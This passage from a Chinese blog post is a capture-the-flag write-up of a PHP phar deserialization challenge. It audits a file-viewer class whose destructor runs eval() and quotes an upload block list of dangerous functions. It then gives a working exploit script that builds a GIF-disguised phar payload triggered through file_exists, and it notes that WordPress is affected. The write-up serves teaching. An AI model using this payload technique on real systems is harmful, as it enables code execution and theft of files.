			$this->cmd = 'echo "<div style=\"text-align: center;position: absolute;left: 0;bottom: 0;width: 100%;height: 30px;\">Powered by: xxx</div>";';
			if(!is_dir($this->dir)) {
				mkdir($this->dir, 0777, true);
			}
		}

		function get_file_list() {
			$file = scandir('.');
			return $file;
		}

		function show_file_list() {
			$file = $this->get_file_list();
			for ($i = 2; $i < sizeof($file); $i++) { 
				echo "<p align=\"center\" style=\"font-weight: bold;\">[".strval($i - 1)."]  $file[$i] </p>";
			}
		}

		function show_img($file_name) {
			$name = $file_name;
			$width = getimagesize($name)[0];
			$height = getimagesize($name)[1];
			$times = $width / 200;
			$width /= $times;
			$height /= $times;
			$template = "<img style=\"clear: both;display: block;margin: auto;\" src=\"$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">";
			echo $template;
		}

		function delete_img($file_name) {
			$name = $file_name;
			if (file_exists($name)) {
				@unlink($name);
				if(!file_exists($name)) {
					echo "<p align=\"center\" style=\"font-weight: bold;\">成功删除! 3s后跳转</p>";
					header("refresh:3;url=view.php");
				} else {
					echo "Can not delete!";
					exit;
				}
			} else {
				echo "<p align=\"center\" style=\"font-weight: bold;\">找不到这个文件! </p>";
			}
		}

		function __destruct() {
			eval($this->cmd);
		}
	}
	
	$ins = new View();
	chdir($ins->dir);
	echo "<h3>当前目录为 " . $ins->dir . "</h3>";
	$ins->show_file_list();
	if (isset($_POST['show'])) {
		$file_name = $_POST['show'];
		$ins->show_img($file_name);
	}
	if (isset($_POST['delete'])) {
		$file_name = $_POST['delete'];
		$ins->delete_img($file_name);
	}
	unset($ins);
	?>
</body>
</html>

(3) 简单的审计一下两份功能代码,upload.php中没有什么利用点,就是上传文件与拦截过滤了一些危险函数。关键点在view.php中,view.php里面有很显然的eval(),只要修改类中的私有变量$cmd就可以拿到shell。

在这里插入图片描述

这里有一个file_exists函数可以利用,而且最后还会进行代码执行。请参考 创宇404实验室 的文章(详见后参考文献),利用phar反序列化漏洞进行攻击,该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。这让一些看起来“人畜无害”的函数变得“暗藏杀机”,这里利用的就是file_exists函数触发该漏洞。


(4) 我们看到upload.php中的黑名单如下,想办法用show_source()函数读取flag.php文件,而且phar可以直接上传。

  • if(preg_match(’/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i’, $content) !== 0) {
    echo(’< script>alert(“You could not upload this image because of some dangerous code in your file!”)</ script>’);

构造的exp模板代码如下,并且增加绕过gif文件头的限制。

<?php
    class View
    {
        public $dir;
        private $cmd;

        function __construct()
        {
            $this->cmd = 'show_source("flag.php");';
        }
        function __destruct() {
            eval($this->cmd);
        }
    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub 增加gif文件头
    $phar ->addFromString('test.txt','test'); //添加要压缩的文件
    $object = new View();
    $phar -> setMetadata($object); //将自定义meta-data存入manifest
    $phar -> stopBuffering();  
?>

(5) 本地运行上面的exp.php文件会生成phar文件,然后直接上传。
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件,并报错。

在这里插入图片描述

生成的phar.phar文件如下图所示:

在这里插入图片描述

在这里插入图片描述


(6) 文件上传成功之后,通过delete这个参数来触发file_exists才可以利用phar,因此构造参数 detele=phar://phar.phar 包含一下,再发送post命令即可。

在这里插入图片描述

注意,居然能上传phar文件,如果不知道该知识点或获取upload.php及view.php源码,还真不一定能成功。同时,在上传类型文件检测时,是通过添加GIF89a绕过的。

最终获得flag值为WHUCTF{Phar_1s_Very_d@nger0u5}。同时,还有许多函数都可以触发phar,getimagesize同样可以触发;而文件后缀也不一定要是phar, 只要使用phar协议就可以。

在这里插入图片描述


Wordpress是网络上最广泛使用的CMS,它也存在这个漏洞,并且该漏洞在2017年2月份就报告给了官方,但至今仍未修补。之前的任意文件删除漏洞也是出现在这部分代码中,同样没有修补,如下图所示wpnonce值可在修改页面中获取。具体过程请参考404实验室。

在这里插入图片描述



四.总结

写到这里,这篇文章就介绍完毕,详细讲解了文件上传漏洞和一句话,最后的解决方法也是我没有想到的,希望对您有所帮助。学安全近一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。最后还是那句话,人生路上,好好享受陪伴家人的日子,那才是最幸福的事情,爱你~

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

(By:Eastmount 2020-05-30 晚上12点写于贵阳 http://blog.csdn.net/eastmount/ )


参考文献:
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
利用phar拓展php反序列化漏洞攻击面 - 创宇404实验室
四个实例递进php反序列化漏洞理解 - 大方子
WHUCTF2020 Writeup - 52hertz师傅
WHUCTF官方WP - 师傅们
php一句话木马 - 慕尘师傅
一句话木马踩坑记 - fz41师傅
PHP反序列化漏洞简介及相关技巧小结 - FB

猜你喜欢

转载自blog.csdn.net/Eastmount/article/details/106428277
今日推荐